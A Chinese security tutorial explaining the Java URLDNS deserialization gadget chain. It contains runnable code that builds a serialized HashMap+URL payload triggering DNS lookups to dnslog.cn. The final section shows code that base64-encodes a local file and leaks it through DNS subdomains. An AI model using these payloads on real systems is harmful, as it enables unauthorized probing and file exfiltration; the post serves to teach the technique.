一篇文章说清楚URLDNS链

admin 2024年1月24日11:06:28评论8 views字数 14699阅读48分59秒阅读模式

接上一篇讲到java原生的序列化和反序列化方法,这篇通过URLDNS链为例展开讲讲java原生序列化和反序列化的危害,以及通过URLDNS链的分析来简单入门反序列化漏洞的代码审计。

java序列化和反序列化

0xNvyao,公众号:安全随笔java序列化和反序列化

上篇中提到需要序列化的类重写readObject方法,并且为了证明重写readObject方法可能存在风险,在方法中直接执行了危险函数,那么在反序列化的时候就会执行危险函数。但是很显然现实中是不存在这种情况,所以上篇中这种直接弹calc是比较鸡肋。

目录:

  • 0x01、HashMap+URL触发dnslog

  • 0x02、前置知识梳理

    • 什么是HashMap

    • 什么是hashCode

    • HashMap为什么要重写writeObject/readObject

    • 重写后为啥要调用inputStream.defaultReadObject()

    • 简单介绍什么是java反射

  • 0x03、URLDNS链详细分析

    • 反序列化攻击的条件

    • HashMap入口类

    • URL执行类

    • 测试验证

  • 0x04、通过URLDNS读取敏感文件

0x01、HashMap+URL触发dnslog

我们这篇文章想要讲什么?其实就是一句话,介绍怎么找到一条链,反序列化时可以利用这条链来执行DNS查询,但是因为中间涉及到较多的java基础知识,所以第二节讲了很多java概念,为了让大家快速知道我们干啥,这里先通过案例演示下HashMap+URL是如何触发DNS查询的。

package com.nvyao.hashmap;import java.net.URL;import java.util.HashMap;import java.util.Map;public class HashMapAndURL {    public static void main(String[] args) throws Exception {        //1.定义一个URL实例        URL url = new URL("http://hello.5q2iyo.dnslog.cn");        //2.定义一个HashMap实例        Map<URL, String> hashmap = new HashMap<>();        //3.将url实例存入hashmap中        hashmap.put(url, "SecNotes");  //执行到这里会触发解析dns,调试跟踪到:URLStreamHandler类的hashCode方法    }}

Demo代码就三行,HashMap的K、V可以接受任意类型,比如Object类型,所以这里就将URL类型作为K、String类型作为V,然后调用HashMap的put方法,这里跟着debug一下:
1)hashmap.put(url,"SecNotes")行断点

一篇文章说清楚URLDNS链

2)进入HashMap类的put方法

可以看到,key是url对象,value是String字符串,而HashMap的put方法又调用了putVal方法,注意putVal方法中又调用了hash(key)方法,继续跟进

一篇文章说清楚URLDNS链

3)进入hash方法

一篇文章说清楚URLDNS链

一篇文章说清楚URLDNS链

这里调用了key.hashCode()方法,key是url对象,也就是调用了url对象的hashCode()方法。然后方法又调用了handler.hashCode,继续跟进

4)来到URLStreamHandler.hashCode方法

URLStreamHandler.hashCode()方法会执行:InetAddress addr = getHostAddress(u);继续跟进进入会触发dns解析的函数

一篇文章说清楚URLDNS链

5)进入getHostAddress方法,其中来到终点:
u.hostAddress = InetAddress.getByName(host);

就是这一行代码执行了dns查询

一篇文章说清楚URLDNS链

dnslog效果如下:

一篇文章说清楚URLDNS链

上面就是HashMap+URL执行dns查询(通过hashmap.put方法一步一步调用最终dns查询)的流程,但是上面演示的是正向的,我们要研究的是如何通过反序列化来达到执行dns查询的目的,继续分析吧^_^^_^

0x02、前置知识梳理

一、什么是HashMap

有人可能会问,学个URLDNS分析为啥需要了解HashMap?哈哈哈,笔者学的时候也是这个问号,等看完整篇文章就清楚了。

在 Java 中,HashMap 是一个常用的哈希表实现,它实现了 Map 接口,用于存储键值对的无序集合。使用 HashMap 可以高效地存储和检索键值对,适用于大多数的键值对存储需求。在实际应用中,我们经常使用 HashMap 来构建缓存、索引或其他需要快速查找的数据结构。

HashMap 的特点如下:

  • 键值对存储:HashMap 使用键值对的形式存储数据。每个键都是唯一的,而值可以重复。

  • 哈希表实现:HashMap 内部使用哈希表数据结构来实现。它通过将键映射到一个数组索引来快速查找和存储值。这样可以在平均情况下实现常数时间的插入、查找和删除操作。

  • 无序性:HashMap 不保证元素的顺序,即元素的插入顺序与遍历顺序未必相同。

  • 允许空键和空值:HashMap 允许使用 null 作为键和值,但是由于键的唯一性,只能有一个键为 null。

  • 非线程安全:HashMap 不是线程安全的,如果在多线程环境下使用,需要进行外部同步或使用线程安全的 ConcurrentHashMap。

HashMap 提供了一系列的方法来操作和访问键值对,包括插入(put(key, value))、获取(get(key))、删除(remove(key))和判断是否包含键(containsKey(key))等。

值得注意的是,HashMap的key、value可以接收任意数据类型,也就是可以接受Object类型,一句话就是接收类型宽泛,这是反序列化攻击喜欢的。

下面是一个代码示例,演示HashMap的常见用法:

package com.nvyao.hashmap;import com.nvyao.bean.Human;import java.net.MalformedURLException;import java.util.HashMap;import java.util.Map;public class HashMapDemo {    public static void main(String[] args) throws MalformedURLException {        // 创建一个 HashMap 对象        Map<String, Integer> studentScores = new HashMap<>();        // 向 HashMap 中添加键值对        studentScores.put("Tom", 85);        studentScores.put("Jerry", 95);        studentScores.put("Jim", 78);        studentScores.put("Joe", 98);        // 获取键对应的值        int aliceScore = studentScores.get("Tom");        System.out.println("Tom's score: " + aliceScore);        // 检查键是否存在        boolean isBobPresent = studentScores.containsKey("Jim");        System.out.println("Is Jim present? " + isBobPresent);        // 遍历 HashMap 的键值对        for (Map.Entry<String, Integer> entry : studentScores.entrySet()) {            String name = entry.getKey();            int score = entry.getValue();            System.out.println(name + "'s score: " + score);        }        // 删除键值对        studentScores.remove("Jerry");        // 清空 HashMap        studentScores.clear();        // 检查 HashMap 是否为空        boolean isEmpty = studentScores.isEmpty();        System.out.println("Is the HashMap empty? " + isEmpty);        // 以下演示Map<Integer, Human>方式,K是Integer,V是Human类型        Human h1 = new Human("hh11",18);        Human h2 = new Human("hh22",28);        Human h3 = new Human("hh33",20);        Map<Integer, Human> humans = new HashMap<>();        humans.put(1, h1);        humans.put(2, h2);        humans.put(3, h3);        Human human = humans.get(1);        System.out.println(human);        System.out.println(human.getName());    }}

运行效果如下:

一篇文章说清楚URLDNS链

二、什么是hashCode

当在 Java 中使用哈希表数据结构(如 HashMap、HashSet 等)时,会涉及到对象的哈希码(hash code),哈希码是一个整数值,它代表对象在哈希表中的存储位置。每个 Java 对象都有一个默认的 hashCode() 方法,其返回值是基于对象的内部状态计算得到哈希码。哈希码的计算过程可以是任意的,但需要满足以下两个要求:

1)对于同一个对象,生命周期中多次调用 hashCode() 方法应该始终返回相同的哈希码
2)两个对象根据 equals() 方法比较是相等的(即 equals方法返回 true),则它们的哈希码应该相等

所以哈希码通常用于快速查找和比较对象,哈希码由hashCode()方法计算出来的一个整数,哈希码通常被用作数据结构(比如HashMap)中的索引。到这就理清楚了HashMap、hashCode、哈希码三者之间的关系。

下面再通过一段java代码来体会hashCode方法:

package com.nvyao.bean;import java.util.Objects;public class Human {    private String name;    private int age;    /** 省略getter、settter方法 */    /**     * 自定义的hashCode方法     * @return     *///    @Override//    public int hashCode() {//        int result = 17; // 初始值,可随意选择一个非零常数//        result = 31 * result + name.hashCode(); // 乘以一个质数后加上name的哈希码//        result = 31 * result + age; // 乘以一个质数后加上age//        return result;//    }    @Override    public boolean equals(Object o) {        if (this == o) return true;        if (!(o instanceof Human)) return false;        Human human = (Human) o;        return getAge() == human.getAge() && Objects.equals(getName(), human.getName());    }    /**     * 重写的hashCode方法     * @return     */    @Override    public int hashCode() {        return Objects.hash(getName(), getAge());    }    public static void main(String[] args) {        Human h1 = new Human("zhangsan", 30);        Human h2 = new Human("zhangsan", 30);        int hashCode1 = h1.hashCode();        int hashCode2 = h2.hashCode();        //输出哈希码        System.out.println("HashCode 1: " + hashCode1);        System.out.println("HashCode 2: " + hashCode2);        // 比较对象的相等性        boolean areEqual = h1.equals(h2);        System.out.println("Are objects equal? " + areEqual);        /*System.out.println("=========直接通过Objects.hash计算对象的哈希码==========");        Human hh3 = new Human("xxoo", 100);        int hh3_hash = Objects.hash(hh3);        System.out.println(hh3_hash);*/    }}

一篇文章说清楚URLDNS链

我们代码跟进下hashCode()方法,看看中间调用了哪些方法:

Human.hashCode()

    -->Objects.hash() 

        -->Arrays.hashCode()

            -->element.hashCode()

                -->Object的public native int hashCode()

1)第一是Human实体类重写的hashCode方法:

一篇文章说清楚URLDNS链

2)走到Objects.hash()方法,调用Arrays.hashCode()

一篇文章说清楚URLDNS链

3)遍历数组,调用每个元素的hashCode()方法

一篇文章说清楚URLDNS链

4)最后来到Object类的public native int hashCode()

一篇文章说清楚URLDNS链

这里native修饰符又是什么意思呢?

来自ChatGPT的回答:

请注意,hashCode() 方法使用了 native 关键字,表示它的实现是由底层的本地代码提供的。具体的实现会依赖于所使用的 Java 虚拟机(JVM)具体的哈希码计算方式可能因 JVM 实现而异,但可以肯定的是,默认情况下,Object 类的 hashCode() 方法会基于对象的内存地址计算哈希码。这也是为什么在没有重写 equals() 方法和 hashCode() 方法时,对象的哈希码会根据内存地址而不是属性值来计算的原因。

在 Java 中,本地代码(Native code)是指使用其他编程语言(如C、C++等)编写的、与特定硬件平台相关的代码。它与 Java 代码相比,不是直接在 Java 虚拟机(JVM)上执行的,而是通过本地方法接口(JNI)与 JVM 进行交互。

Object 类的 hashCode() 方法是一个本地方法,这意味着它的实现是由 JVM 提供的本地代码实现的,而不是纯粹的 Java 代码。具体而言,JVM 的实现者会编写与平台和操作系统相关的本地代码来计算对象的哈希码。这也是为什么无法直接在 Java 源码中看到 hashCode() 方法的具体实现细节。

三、HashMap为什么要重写writeObject/readObject

HashMap类实现了Serializable接口,所以HashMap是可序列化的,那么HashMap类是否重写了writeObject/readObject?答案是重写了。

一篇文章说清楚URLDNS链

一篇文章说清楚URLDNS链

至于HashMap为什么一定要重写writeObject/readObject方法,这里参考:

https://juejin.cn/post/6844903954774491144#heading-5

首先要明确序列化的目的,将java对象序列化,一定是为了在某个时刻能够将该对象反序列化,而且一般来说序列化和反序列化所在的机器是不同的,因为序列化最常用的场景就是跨机器的调用,而序列化和反序列化的一个最基本的要求就是,反序列化之后的对象与序列化之前的对象是一致的

HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的(public native int hashCode()这就导致有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。

那么,HashMap又是通过什么手段来保证序列化和反序列化数据的一致性的呢?首先,HashMap序列化的时候不会将保存数据的数组序列化,而是将元素个数以及每个元素的Key和Value都进行序列化。在反序列化的时候,重新计算Key和Value的位置,重新填充一个数组。想想看,是不是能够解决序列化和反序列化不一致的情况呢?由于不序列化存放元素的Entry数组,而是反序列化的时候重新生成,这样就避免了反序列化之后根据Key获取到的元素与序列化之前获取到的元素不同。

既然HashMap重写了writeObject/readObject方法,那后面就需要分析重写的方法有没有可能有问题,或者结合其他的特殊类来构造问题,构造攻击。

四、重写后为啥要先调用inputStream.defaultReadObject()

那么既然HashMap因为必要原因重写了readObject方法,为啥在代码开头又调用了defaultReadObject()方法呢?

这里的s是ObjectInputStream对象输入流,s.defaultReadObject()方法就是调用ObjectInputStream的默认readObject方法。

一篇文章说清楚URLDNS链

其实,在 Java 中,当一个类实现了 Serializable 接口并且重写了 readObject() 方法时,调用 inputStream.defaultReadObject() 是一个常见的操作defaultReadObject 方法的作用是从输入流中读取默认的对象字段值。它会将对象的默认字段值恢复到当前对象中,以便正确地反序列化对象

在重写的 readObject() 方法中,你可以对对象进行自定义的反序列化操作,例如读取额外的字段或处理特定的逻辑。然而,为了保证对象的正确性,你通常需要在自定义的 readObject() 方法中首先调用 defaultReadObject() 方法defaultReadObject() 方法负责恢复对象的默认字段值,包括实现 Serializable 接口的类中的所有非瞬态(non-transient)字段。通过调用 defaultReadObject() 方法,你可以确保对象在反序列化过程中恢复了其默认字段值,以保持对象的一致性和正确性。

总结来说,inputStream.defaultReadObject() 的作用是在自定义的 readObject() 方法中调用,用于恢复对象的默认字段值,以确保对象的正确反序列化。

五、简单介绍么是java反射

Java 反射(Reflection)是指在运行时动态地获取和操作类的信息,包括类的字段、方法、构造函数等。通过反射,可以在运行时检查类的结构,创建对象、调用方法、访问和修改字段,以及执行其他与类相关的操作。

一般情况下,我们使用某个类时必定知道它是什么类,才能对这个类进行实例化,之后使用这个类对象进行操作。

Apple apple = new Apple(); //直接初始化,「正射」apple.setPrice(4);

而反射则是一开始并不知道我要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了,这时候就可以使用JDK提供的反射API进行反射操作:

Class clz = Class.forName("com.nvyao.reflect.Apple");Method method = clz.getMethod("setPrice", int.class);Constructor constructor = clz.getConstructor();Object object = constructor.newInstance();method.invoke(object, 4); //运行时通过骚操作操作类/对象, 「反射」

反射常用API接口有:

1、Class 类:Class 类是反射的核心,用于表示类的信息。可以通过 Class.forName("className") 方法获取类的 Class 对象,或者使用 obj.getClass() 方法获取对象的 Class 对象。

2、Constructor 类:Constructor 类代表类的构造函数。可以使用 Class.getConstructors() 方法获取类的所有公共构造函数,或者使用 Class.getDeclaredConstructor(parameterTypes) 方法获取指定参数类型的构造函数。

3、Method 类:Method 类代表类的方法。可以使用 Class.getMethods() 方法获取类的所有公共方法,或者使用 Class.getDeclaredMethod(name, parameterTypes) 方法获取指定方法名和参数类型的方法。

4、Field 类:Field 类代表类的字段。可以使用 Class.getFields() 方法获取类的所有公共字段,或者使用 Class.getDeclaredField(name) 方法获取指定字段名的字段。

5、暴力反射:可以获取和操作类的私有成员,这样做可以绕过累的访问限制,破坏了封装性和安全性,可以使用:setAccessible(true)

public class Apple {    private int price;    public int getPrice() {        return price;    }    public void setPrice(int price) {        this.price = price;    }    public static void main(String[] args) throws Exception{        //正常的调用        Apple apple = new Apple();        apple.setPrice(5);        System.out.println("Apple Price:" + apple.getPrice());        //使用反射调用        Class clz = Class.forName("com.chenshuyi.api.Apple");        Method setPriceMethod = clz.getMethod("setPrice", int.class);        Constructor appleConstructor = clz.getConstructor();        Object appleObj = appleConstructor.newInstance();        setPriceMethod.invoke(appleObj, 14);        Method getPriceMethod = clz.getMethod("getPrice");        System.out.println("Apple Price:" + getPriceMethod.invoke(appleObj));    }}

一版大型框架会大量的使用反射技术,另外IDEA里面通过对象后面加个符号. IDEA可以列出该对象的属性和方法,这个也是IDEA基于反射实现的:

一篇文章说清楚URLDNS链

0x03、URLDNS链详细分析

一、反序列化攻击的条件

  • 入口类(source):重写readObject、调用常见的函数、参数类型宽泛、最好jdk自带

  • 调用链(gadget):相同名称相同类型,套娃寻找,比较复杂不多展开

  • 执行类(sink):rce、ssrf、写文件等,这次执行类是简单dns查询

通过前面的介绍,入口类选择HashMap就非常合适,确实重写了readObject方法,也调用了常见的函数hashCode,参数类型可以是Object足够宽泛,是jdk自带的类。

而执行类是执行dns查询的URL类,依次通过:URL.hashCode() --> URLStreamHandler.hashCode()--> URLStreamHandler.getHostAddress()--> InetAddress.getByName() 最终执行了恶意操作(dns查询)。

二、入口类-HashMap

首先看一下HashMap类实现了Serializable接口:

一篇文章说清楚URLDNS链

重写了readObject方法,重写的原因前面也有详细说过,总之就是HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。因此需要确保键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法:

一篇文章说清楚URLDNS链

因为反序列化关注的是readObject方法,所以仔细看HashMap重写的readObject方法,其中最下面的for循环:

一篇文章说清楚URLDNS链

putVal()就是哈希表结构存储方法,该方法里面调用了hash(key)函数,根据key产生hash,跟进hash()函数,可以看到调用了参数key对象的hashCode方法

一篇文章说清楚URLDNS链

很多类都有hashCode方法,所以这个条件也满足了。接下来就看能不能找到某个特殊的类,这个类的hashCode方法直接或间接调用危险函数,对于这次,危险函数就是dns查询函数,这个类就是URL类。

HashMap类作为入口类所有条件都满足,接下来就分析下HashMap在执行readObject过程中程序是否能够走到putVal()这里,且传入hash方法的参数key是否可控的?根据下图分析:

一篇文章说清楚URLDNS链

首先,hash方法的参数key是通过s.readObject()获取的,s是ObjectInputStream序列化流,证明key是可控的,只要mappings长度大于0,也就是说序列化流不为空即可。

所以到这我们就清楚了,HashMap非常适合作为入口类,并且HashMap重写的readObject方法一直往下跟进会调用HashMap的key的hashCode方法,正好前人都研究出来了,URL类正好有直接调用危险的方法dns查询,所以HashMap结合URL类完美,Key=URL。

三、执行类-URL

入口类HashMap分析完了,接下来分析URL类,这里是难点:

一篇文章说清楚URLDNS链

要想反序列化时程序能执行到handler.hashCode(this)这行代码,那么if (hashCode != -1)条件要等于false,也就是hashCode属性值必须为-1。

但是看一下URL类的hashCode属性,发现该属性是 private 私有属性,并且初始化值为 -1 :

一篇文章说清楚URLDNS链

看下面,假如序列化的时候我们不做任何的反射修改,那么序列化完成后,url对象的hashCode属性值为2133919961 不是-1,那么如果将这个序列化数据进行反序列化,那么反序列化时程序就无法运行到handler.hashCode(this),达不到反序列化攻击的目的,所以为了控制程序的运行,必须要修改hashCode的属性值:

一篇文章说清楚URLDNS链

但是hashCode是 private 私有属性,如果需要修改一个对象的私有属性的值,只能通过反射了,通过反射将url对象的hashCode属性改为-1即可:

//4.将url实例存入hashmap中hashmap.put(url, "SecNotes");//5.反射将url对象的hashCode属性改为-1,这样反序列化的时候才可以执行hashCode方法hashCodeField.set(url, -1);

一篇文章说清楚URLDNS链

但是又有一个问题,根据本篇文章第一节介绍的,hashmap.put(url, "SecNotes");  //执行到这里会触发解析dns,调试跟踪到:URLStreamHandler类的hashCode方法。如果是这样的话,如下代码,serialize函数执行到hashmap.put就会出发一次dns查询,那么反序列化的时候dnslog平台就收不到dns查询了,因为本地dns可能已经缓存了dns查询的结果,所以这里还得想办法,其实还是通过反射的方式,通过修改hashCode属性的值来控制条件判断的走向。怎么做呢?简单在hashmap.put方法调用之前将hashCode属性值改为非-1

//3.反射将url对象的hashCode属性值为非-1,为了不让序列化时发起dns请求Class<? extends URL> urlClass = url.getClass();Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url, 1234);

一篇文章说清楚URLDNS链

一篇文章说清楚URLDNS链

到此完整代码如下,可能有点绕,总结下就是第一次put的时候将hashCode改为非-1,拒绝dns查询,put之后hashCode真的不是-1了再改回来-1,让后面反序列化的时候可以dns查询。

package com.nvyao.hashmap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;import java.util.Map;public class HashMapAndURL {    public void serialize() throws Exception{        //1.定义一个URL实例        URL url = new URL("http://hello.luie99.dnslog.cn");        //2.定义一个HashMap实例        Map<URL, String> hashmap = new HashMap<>();        //3.反射将url对象的hashCode属性值为-1,为了不让序列化时发起dns请求        Class<? extends URL> urlClass = url.getClass();        Field hashCodeField = urlClass.getDeclaredField("hashCode");        hashCodeField.setAccessible(true);        hashCodeField.set(url, 1234);        //4.将url实例存入hashmap中        hashmap.put(url, "SecNotes");        //5.反射将url对象的hashCode属性改为-1,这样反序列化的时候才可以执行hashCode方法        hashCodeField.set(url, -1);        //5.开始序列化        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dnsurl.bin"));        oos.writeObject(hashmap);    }    public void unserialize() throws Exception {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dnsurl.bin"));        ois.readObject();    }    public static void main(String[] args) throws Exception {        HashMapAndURL hashMapAndURL = new HashMapAndURL();        hashMapAndURL.unserialize();    }}

到这能控制代码的运行走向了,继续往下跟进,当hashCode属性的值为-1时,跳过if条件,执行handler.hashCode方法,并将自身url对象作为参数传入。

一篇文章说清楚URLDNS链

handler是URLStreamHandler的实例,跟进handler的hashCode方法,接收URL的实例,并其中调用了getHostAddress方法

一篇文章说清楚URLDNS链

继续跟进getHostAddress方法,其中的InetAddress.getByName(host)会执行dns查询,解析域名host对应的IP地址。

一篇文章说清楚URLDNS链

到这就完成了整个HashMap+URL类构造dnslog查询的完整链:

1)HashMap -> readObject(重写的)2)HashMap -> putVal()3)HashMap -> hash()4)URL -> hashCode()5)URLStreamHandler -> hashCode()6)URLStreamHandler -> getHostAddress()7)InetAddress -> getByName()

四、测试验证

1)生成全新的dnslog域名:94e22y.dnslog.cn

一篇文章说清楚URLDNS链

2)执行序列化方法

一篇文章说清楚URLDNS链

且dnslog并未收到dns解析记录:

一篇文章说清楚URLDNS链

3)执行反序列化方法

一篇文章说清楚URLDNS链

一篇文章说清楚URLDNS链

最后画一个流程草图来总结一下整个流程:

一篇文章说清楚URLDNS链

0x04、通过URLDNS读取敏感文件

通过模拟读取服务器敏感文件,并将读取的文本内容转发为base64编码通过dnslog带外带出来:

其中序列化方法:

    public void serializePasswd() throws Exception {        //1.将文件内容转换为base64编码        FileInputStream fis = new FileInputStream("/Users/liujianping/.gitconfig");        byte[] bytearray = new byte[fis.available()];        fis.read(bytearray);        String b64Str = Base64.getEncoder().encodeToString(bytearray);        System.out.println(b64Str);        System.out.println("文件字节长度:" + b64Str.length());        //2.将文件内容按照每次50个字符进行序列化        int counts = b64Str.length() / 36;//        int chars = b64Str.length() % 50;        //3.定义一个HashMap实例        Map<URL, String> hashmap = new HashMap<>();        for (int i = 0; i < counts; i++) {            String substring = b64Str.substring(36 * i, 36 * i + 36);            URL url = new URL("http://"+ substring +".bfdcp9.dnslog.cn");            //反射将url对象的hashCode属性值为非-1,为了不让序列化时发起dns请求            Class<? extends URL> urlClass = url.getClass();            Field hashCodeField = urlClass.getDeclaredField("hashCode");            hashCodeField.setAccessible(true);            hashCodeField.set(url, i);            //将url实例存入hashmap中            hashmap.put(url, "readfile");            //反射将url对象的hashCode属性改为-1,这样反序列化的时候才可以执行hashCode方法            hashCodeField.set(url, -1);        }        //5.开始序列化        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("file.bin"));        oos.writeObject(hashmap);        System.out.println("序列化执行完成~~");    }

反序列化方法:

public void unSerializePasswd() throws Exception{        //6.开发反序列化        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("file.bin"));        ois.readObject();        System.out.println("反序列化执行完成~~");    }

测试效果如下,反序列化的时候会循环将分段的数据一个一个带出来:

一篇文章说清楚URLDNS链

尝试base64解码:

一篇文章说清楚URLDNS链

这里dnslog.cn平台偶尔会将base64编码后的字符串转小写,导致反编码失败,不过也很简单,可以通过自建dns平台来完成这个实验。

原文始发于微信公众号(安全随笔):一篇文章说清楚URLDNS链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月24日11:06:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一篇文章说清楚URLDNS链https://cn-sec.com/archives/2422702.html

发表评论

匿名网友 填写信息